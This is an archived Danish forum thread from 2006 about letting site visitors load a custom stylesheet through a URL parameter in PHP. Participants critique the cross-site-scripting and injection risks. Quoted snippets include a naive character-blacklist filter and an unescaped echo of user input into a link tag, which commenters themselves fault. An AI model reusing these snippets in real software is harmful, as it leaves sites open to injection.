mere foraget over du ikke meget nøje dækker det sikkerhedsmæssige aspekt
- i netop det du kalder undervisningsmaterialet!

Derudover svarede du så ikke på resten af mit indlæg?


--
Med venlig hilsen
Geert Lund,
www.GLD.dk

Erik Ginnerskov (02-05-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 02-05-06 16:17

Geert Lund wrote:

> Jeg er samtidig stadig ret forarget over at du på en hjemmesideskole
> kaster dig ud i at lave scripts der skriger til himlen efter at åbne
> for mulig crosssite-scripting, sql-injections, cookie injects etc.
> Men endnu mere foraget over du ikke meget nøje dækker det
> sikkerhedsmæssige aspekt - i netop det du kalder
> undervisningsmaterialet!

Så så, små slag. Jeg prøver da på at få rettet de sikkerhedsproblemer, der
bliver påpeget. Jeg kunne forstå din forargelse, hvis jeg lod 5 og 7 være
lige og blæste på advarslerne.

> Derudover svarede du så ikke på resten af mit indlæg?

Det har jeg så gjort nu.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Bertel Lund Hansen (01-05-2006)
Kommentar
Fra : Bertel Lund Hansen


Dato : 01-05-06 11:44

Geert Lund skrev:

> Jeg er samtidig stadig ret forarget over at du på en hjemmesideskole
> kaster dig ud i at lave scripts der skriger til himlen efter at åbne for
> mulig crosssite-scripting, sql-injections, cookie injects etc. Men endnu
> mere foraget over du ikke meget nøje dækker det sikkerhedsmæssige aspekt
> - i netop det du kalder undervisningsmaterialet!

Jeg er enig med dig. Det er gået op for mig at Erik ved alt for
lidt om programmering til at kunne forholde sig til de
sikkerhedsaspekter som hans idé involverer. Jeg vil råde til at
han dropper den del af sit projekt. Der er mere end nok af
usikrede hjemmesider der er pivåbne for banal hackning allerede.

--
Bertel
http://bertel.lundhansen.dk/      http://fiduso.dk/

Erik Ginnerskov (01-05-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 01-05-06 22:55

Bertel Lund Hansen wrote:

> Jeg vil råde til at
> han dropper den del af sit projekt. Der er mere end nok af
> usikrede hjemmesider der er pivåbne for banal hackning allerede.

Synspunktet er taget til efterretning. Sidens funktion er annulleret.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Erik Ginnerskov (02-05-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 02-05-06 16:13

Geert Lund wrote:

> Derudover synes jeg det er direkte forkasteligt at du skriver en
> artikel om hvor let det er at inkludere eksterne scripts - uden med 1
> ord nævner sikkerheds aspektet som er hele grunden til vi sidder og
> hjælper dig pt.?

Det skal da ikke komme an på det. Hvis nogen ønsker at blive nævnt på den
relevante side efter at have hjulpet mig med at få noget til at fungere, så
for mig gerne. Ønsket har bare ikke været fremsat før og omvendt har nogen
frabedt sig at blive nævnt på mine sider.

> Ikke engang Bertels kommentarer i koden er kommet med - hvordan
> forventer du at brugerne skal forstå funktionen is_harmful og at den
> faktisk er _RIGTIG VIGTIG_ hvis man vil inkludere eksternt indtastede
> styles?

De kommentarer, der klarlægger sådanne nødvendigheder bør naturligvis
medtages. I første omgang blev de bare klippet bort for i udviklingsfasen at
gøre mængden af kode mindre.

Jeg plejer at medtage kommentarerne, når en side er lavet færdig.

> Yderligere: "Bemærk, at de to teknikker (serverside-styret css-skift
> og css-skift via en browserfunktion) ikke er glade for at arbejde
> sammen." - den forstår jeg simpelthen ikke?

Det er nu engang min iagttagelse. Den benyttede teknik på
http://hjemmesideskolen.dk/html/testsider/alternativ.asp vil ikke samarbejde
med forsøg på at skifte sidens design via serverside-scripting. Der går
ganske enkelt ged i designet.

> Men ingen af de to sider du har postet link til indeholder din reelle
> source hvor man kan se hvad der præcist går galt for dig... og
> linienumrene...

Nej, ikke links. Koden står i klar tekst på siden - tydeligt forklaret.

http://hjemmesideskolen.dk/html/testsider/designskift2.php - Bertels script
http://hjemmesideskolen.dk/html/testsider/designskift3.php - mit forsøg

Det største problem er sådan set, at hvis der har været ulovligt input,
indlæses slet ikke noget css. Men på den anden side er det egentlig ikke mit
problem, når det ikke er mig, der har foretaget ulovlig indtastning..

> JEg vil se den testfil der giver dig problemer?

OK, du får den så også som txt-fil - barberet for alt irrelevant.

http://hjemmesideskolen.dk/usenet/php-designskift2.txt
http://hjemmesideskolen.dk/usenet/php-designskift3.txt

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Geert Lund (02-05-2006)
Kommentar
Fra : Geert Lund


Dato : 02-05-06 21:52

Erik Ginnerskov wrote:

> http://hjemmesideskolen.dk/html/testsider/designskift2.php - Bertels script
> http://hjemmesideskolen.dk/html/testsider/designskift3.php - mit forsøg

Dit eget script - fungerer jo ikke - efter at have set din kode - fordi
du aldrig kalder is_harmful nogen steder - men blot har en:

<link href="<?php echo $style; ?>" rel="stylesheet" type="text/css" />

$style bliver aldrig sat og derfor vil det ikke virke hvad enten du
indtaster noget forkert eller korrekt (dog med 1 undtagelse - hvis
REGISTER_GLOBALS er sat til ON - vil $script og CSS blive loadet i det
omfang du indtaster noget validt - mens noget ikke validt vil få din
HTML til ikke at validere og derfor give din browser problemer med at
loade stylet).

Derudover - kalder din funktion sig selv rekursivt og hvis du kaldte den
ville det ende med en uendelig løkke.

Og ja, så er der så samtidig de førnævnte problemer - se et par mails
tilbage...

> http://hjemmesideskolen.dk/usenet/php-designskift2.txt
> http://hjemmesideskolen.dk/usenet/php-designskift3.txt

Bertels script lider så bl.a. af:

if (isset($_GET["style"])) $style=$_GET['style']; // Saml input op -
også en tom streng.
if (is_harmful($style) || $style=='') $style=BASICSTYLESHEET;

Her vil is_harmful($style) blive kaldt med en uinitieret variabel hvis
$_GET['style'] ikke er sat (den er ikke indtastet) - det vil udlæse den
fejl du snakker om.

Se også et par mails tilbage her - i min kommentar til Bertel om hvordan
jeg mener de par linier bør konstrueres i stedet for.

--
Med venlig hilsen
Geert Lund,
www.GLD.dk

Geert Lund (30-04-2006)
Kommentar
Fra : Geert Lund


Dato : 30-04-06 23:59

Erik Ginnerskov wrote:

> function is_harmful($bad) {
> $bad=array('@','%',"\\",'<','>','(',')',';','script'); }

> Det fungerede lige så godt - ved lovligt input.

Og igen - du får nu stadig et tilfældigt resultat som ikke har noget at
gøre med det du vil checke!

Du må _IKKE_ overskrive indholdet i variablen du sender med i dit
funktionskald (nu har du bare lavet den om til $bad i stedet for
$harmful - men resultatet er ikke anderledes end det jeg tidligere har
bemærket!).

Det er altså meget vigtigt når man programmerer at have 120% styr på
hvad man putter i hvilke variable og at man ikke får overskrevet
forventede variabler med forkert indhold.

Bertels forslag er okay - men har et par fejl og et par
uhensigtsmæssigheder. Bl.a. vil funktionen fejle hvis filnavnet på et
stylesheet indeholder navnet script - hvilket man enten må leve med
eller lave nogle andre checks.

Jeg finder det dog - for at snakke om det mere etiske - en smule forkert
at når man har så lidt styr på programmeringen og sikkerhedsmomentet -
at lave funktioner der tillader folk at hente eksterne referencer
direkte ind i dit script.

Det kan - og _VIL_ med garanti blive misbrugt til crosssite-scripting,
injections eller lignende brister - og jeg synes faktisk du bør lade
være med at lave denne mulighed, da der som du kan se er mange ting man
skal være sikker på er i orden for at man bør tillade det.

I hvertfald skal man holde tungen meget lige i munden når man kaster sig
ud i opgaver som denne.

--
Med venlig hilsen
Geert Lund,
www.GLD.dk

Geert Lund (01-05-2006)
Kommentar
Fra : Geert Lund


Dato : 01-05-06 00:14

Bertel Lund Hansen wrote:

> function is_harmful($userstring) {
>    $harmless = array('','','','','','','','','','','','','','','','','');
>    $harmful = array('@','%',"\\",'<','>','(',')',';','script');
>    $lowcasestring=strtolower($userstring);
>    $newstring=str_replace($harmful,$harmless,$lowcasestring);
>    // Hvis de er forskellige, var der en udskiftning - der var altså nogle farlige tegn:
>    return $newstring!=$lowcasestring;
> }

Vær dog bl.a. opmærksom på:

1) at du med denne kode vil få links der indeholder et legalt "script" i
domænet/filnavnet til at fejle...

2) at filnavne der (af uransgelige grunde) indeholder tegnene ( og )
også vil fejle.

3) Lige som at http://www.mitstyle.dk/mit%20style.css også vil fejle!
(%20 er mellemrum).

> if (isset($_GET["style"])) $style=$_GET['style']; // Saml input op - også en tom streng.
> if (is_harmful($style) || $style=='') style=BASICSTYLESHEET;

Herforstår jeg så ikke helt dit check... men:

if ( isset( $_GET['style'] ) && trim( $_GET['style'] ) <> '' &&
!is_harmful( $_GET['style'] ) ) {
$style = trim( $_GET['style'] )
} else {
$style = BASICSTYLESHEET;
}

Du får ikke checket efter whitespaces med din kode - derfor indsætter
jeg funktionen trim().


Burde virke :) Er dog ikke testet :)

--
Med venlig hilsen
Geert Lund,
www.GLD.dk

Peter Brodersen (29-04-2006)
Kommentar
Fra : Peter Brodersen


Dato : 29-04-06 03:19

On Sat, 29 Apr 2006 00:22:17 +0200, "Erik Ginnerskov"
<erik@donotspammmeplease.invalid> wrote:

>> Hvis der f.eks. forekommer et @ i brugerens style-specifikation,
>> så er han ude på numre, og der skal lukkes for at specifikationen
>> kan få effekt.
>
>Til gengæld vil du også blokere for brug af / - det vil da ellers være en
>obligatorisk ingrediens i definition af et fremmed stylesheet.

Har du egentligt så utroligt mange forskellige stylesheets, at det
ikke blot er lettere at lave en positiv-liste over hvilke stylesheets,
der må bruges?

<?php
$stylesheets = array("sommer.css","vinter.css","standard.css");
if (!in_array($_GET['style'],$stylesheets)) die("Ugyldigt CSS");
?>

--
- Peter Brodersen
Ugens værktøj - sammensæt og opdel PDF-filer: http://pdf.ter.dk/

Erik Ginnerskov (29-04-2006)
Kommentar
Fra : Erik Ginnerskov


Dato : 29-04-06 21:26

Peter Brodersen wrote:

> Har du egentligt så utroligt mange forskellige stylesheets, at det
> ikke blot er lettere at lave en positiv-liste over hvilke stylesheets,
> der må bruges?

Nej, og det er heller ikke der, hunden liger begravet.

Som det er nu kan brugerne definere deres eget stylesheet til at vise siden
med. Den funktion vil jeg gerne bevare samtidig med at scriptet beskyttes
mod utilsigtet brug - spam eller sql-injection.

--
Med venlig hilsen
Erik Ginnerskov
http://hjemmesideskolen.dk/ - http://ginnerskov.dk/
http://html-faq.dk/



Michael Zedeler (21-04-2006)
Kommentar
Fra : Michael Zedeler


Dato : 21-04-06 00:01

Erik Ginnerskov wrote:
> Martin wrote:
>
>>Peter Brodersen wrote:
>>
>>>Det er dog lidt overdrevet. Der er ingen mulighed for at få evalueret
>>>PHP-koden. Den vil blot blive outputtet.
>>
>>Det er jeg godt klar over... nu er jeg heller ikke specielt
>>interesseret, i at lave injections, men det var nu bare for at vise
>>idéen om hvordan ondsindet ting kan komme ind på en side.
>
> Javel. Men den evaluering af input vil da helt ødelægge ideen med, at siden
> kan vises med brugerens egen css.
>
> Nogen forslag til, hvodan de to ting kan kombineres?

Hæld det igennem en regex, som sorterer grimme ting fra. Det er standard.

Mvh. Michael.
--
Which is more dangerous? TV guided missiles or TV guided families?
Visit my home page at http://michael.zedeler.dk/
Get my vcard at http://michael.zedeler.dk/vcard.vcf

Martin (30-04-2006)
Kommentar
Fra : Martin


Dato : 30-04-06 19:06

Michael Zedeler wrote:
> Erik Ginnerskov wrote:
>> Nogen forslag til, hvodan de to ting kan kombineres?
>
> Hæld det igennem en regex, som sorterer grimme ting fra. Det er standard.

En god måde at fjerne det væsentligste på er simpelt.

$css = htmlentities(trim($css));

trim, for at fjerne mellemrum før og efter.
htmlentities laver alle / \ < > osv. om til html tegn, dvs så er det
helt umuligt at åbne php med <?php eller <?= da det så bliver lavet om
til html tegn istedet.

Dog ligger problemet så i at hvis det skal være muligt at hente et
stylesheet fra en anden webside, fx
http://et-andet-domæne.dk/stylesheet, så vil det være umuligt.

Michael Zedeler (30-04-2006)
Kommentar
Fra : Michael Zedeler


Dato : 30-04-06 22:40

Martin wrote:
> Michael Zedeler wrote:
>
>> Erik Ginnerskov wrote:
>>
>>> Nogen forslag til, hvodan de to ting kan kombineres?
>>
>> Hæld det igennem en regex, som sorterer grimme ting fra. Det er standard.
>
> En god måde at fjerne det væsentligste på er simpelt.
>
> $css = htmlentities(trim($css));
>
> [...]
>
> Dog ligger problemet så i at hvis det skal være muligt at hente et
> stylesheet fra en anden webside, fx
> http://et-andet-domæne.dk/stylesheet, så vil det være umuligt.

Med andre ord en halv løsning, der ikke klarer de mest graverende problemer.

Mvh. Michael.
--
Which is more dangerous? TV guided missiles or TV guided families?
Visit my home page at http://michael.zedeler.dk/
Get my vcard at http://michael.zedeler.dk/vcard.vcf

Bertel Lund Hansen (30-04-2006)
Kommentar
Fra : Bertel Lund Hansen


Dato : 30-04-06 23:34

Michael Zedeler skrev:

>> Dog ligger problemet så i at hvis det skal være muligt at hente et
>> stylesheet fra en anden webside, fx
>> http://et-andet-domæne.dk/stylesheet, så vil det være umuligt.

> Med andre ord en halv løsning, der ikke klarer de mest graverende problemer.

En halv løsning. Du er alt for venlig. Hans 'løsning' slukker
præcis for det som Erik prøver at få til at virke.

--
Bertel
http://bertel.lundhansen.dk/      http://fiduso.dk/

Martin (01-05-2006)
Kommentar
Fra : Martin


Dato : 01-05-06 22:11

Bertel Lund Hansen wrote:
> En halv løsning. Du er alt for venlig. Hans 'løsning' slukker
> præcis for det som Erik prøver at få til at virke.

Det fandt jeg så også ud af efter jeg havde skrevet indlægget :)


Søg
Reklame
Statistik
Spørgsmål : 177558
Tips : 31968
Nyheder : 719565
Indlæg : 6408926
Brugere : 218888

Månedens bedste
Årets bedste
Sidste års bedste